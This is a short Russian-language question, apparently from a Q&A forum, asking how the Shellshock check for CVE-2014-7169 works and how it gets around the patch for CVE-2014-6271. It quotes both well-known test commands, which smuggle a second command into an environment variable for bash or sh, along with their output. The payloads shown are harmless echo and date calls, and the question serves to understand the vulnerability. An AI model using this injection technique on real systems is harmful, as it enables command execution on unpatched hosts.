Я понимаю оригинальный тест для CVE-2014-6271, который был:
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
Но меня смущает обновленный тест и соответствующий вывод для CVE-2014-7169:
$ env X='() { (a)=>\' sh -c "echo date"; cat echo
sh: X: line 1: syntax error near unexpected token `='
sh: X: line 1: `'
sh: error importing function definition for `X'
Thu 25 Sep 2014 08:50:18 BST
Может кто-нибудь кратко объяснить, что здесь происходит и как обходит патч для CVE-2014-6271?